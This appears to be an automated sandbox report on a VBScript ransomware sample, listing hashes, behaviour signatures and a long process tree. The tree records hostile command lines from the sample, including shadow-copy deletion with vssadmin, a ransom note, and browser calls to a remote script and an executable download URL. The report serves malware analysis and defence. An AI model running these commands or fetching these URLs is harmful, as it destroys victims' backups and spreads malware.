Analysis
-
max time kernel
62s -
max time network
263s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
-
submitted
24-10-2024 09:20
General
-
Target
Ransom.Win32.LCrypt0rX.A/LCrypt0rX.vbs
-
Size
19KB
-
MD5
5e95d5012a68cd521e499869f432d41a
-
SHA1
5225377f6e3f634dc10f37e727d39dce5b3425fc
-
SHA256
150d5a11d4d5ee4ce4c41b63210e14bdbc80da07b0a7249f58de4e3bef7819bf
-
SHA512
b0d39ddd55248cef9b95a16198a198f7f5e478e664691b663e04453c5f5eaa87f8d55d98d3df4b228464fad9021c05e9060b40e2d770962bc117b62314544c23
-
SSDEEP
384:tDYbplStxYHQHSH7l+iijqF2ZNvz1wj9byX+EkO:lqMK2N+EX
Score
10/10
Malware Config
Signatures
-
UAC bypass 3 TTPs 2 IoCs
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Blocklisted process makes network request 3 IoCs
-
Blocks application from running via registry modification 3 IoCs
Adds application to list of disallowed applications.
-
Disables RegEdit via registry modification 1 IoCs
-
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Drops file in System32 directory 6 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 2 IoCs
-
Drops file in Windows directory 1 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 64 IoCs
-
Modifies Control Panel 2 IoCs
-
Modifies registry class 1 IoCs
-
Opens file in notepad (likely ransom note) 3 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
-
Suspicious use of AdjustPrivilegeToken 38 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 16 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX.vbs" /elevated2⤵
- UAC bypass
- Blocklisted process makes network request
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\READMEPLEASE.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\System32\iamthedoom.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mspaint.exemspaint4⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://languishcharmingwidely.com/22/f4/31/22f431404146fb2f892b30f7d213aea4.js4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7ffb813046f8,0x7ffb81304708,0x7ffb813047185⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2308 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 /prefetch:35⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2812 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3460 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3892 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings5⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x264,0x268,0x26c,0x240,0x270,0x7ff67d755460,0x7ff67d755470,0x7ff67d7554806⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4440 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4440 /prefetch:85⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4476 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3500 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2260,6650254151988728287,13096894768412705851,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5568 /prefetch:25⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?pla4⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb813046f8,0x7ffb81304708,0x7ffb813047185⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1520,8227901955096732667,2542109546952870081,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 /prefetch:35⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\calc.execalc4⤵
- Modifies registry class
-
C:\Windows\System32\win32calc.exe"C:\Windows\System32\win32calc.exe"5⤵
-
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs7⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs9⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs10⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs11⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs12⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs13⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs14⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs15⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs16⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs17⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs18⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs19⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs20⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs21⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs22⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs23⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs24⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs25⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs26⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs27⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs28⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs29⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs30⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs31⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs32⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs33⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs34⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs35⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs36⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs37⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs38⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs39⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs40⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs41⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs42⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs43⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs44⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs45⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs46⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs47⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs48⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs49⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs50⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs51⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs52⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs53⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs54⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs55⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs56⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs57⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs58⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs59⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs60⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs61⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs62⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs63⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs64⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs65⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs66⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs67⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs68⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs69⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs70⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs71⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs72⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs73⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs74⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs75⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs76⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs77⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs78⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs79⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs80⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs81⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs82⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs83⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs84⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs85⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs86⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs87⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs88⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs89⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs90⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs91⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs92⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs93⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs94⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs95⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs96⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs97⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs98⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs99⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs100⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs101⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs102⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs103⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs104⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs105⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs106⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs107⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs108⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs109⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs110⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs111⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs112⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs113⤵
-
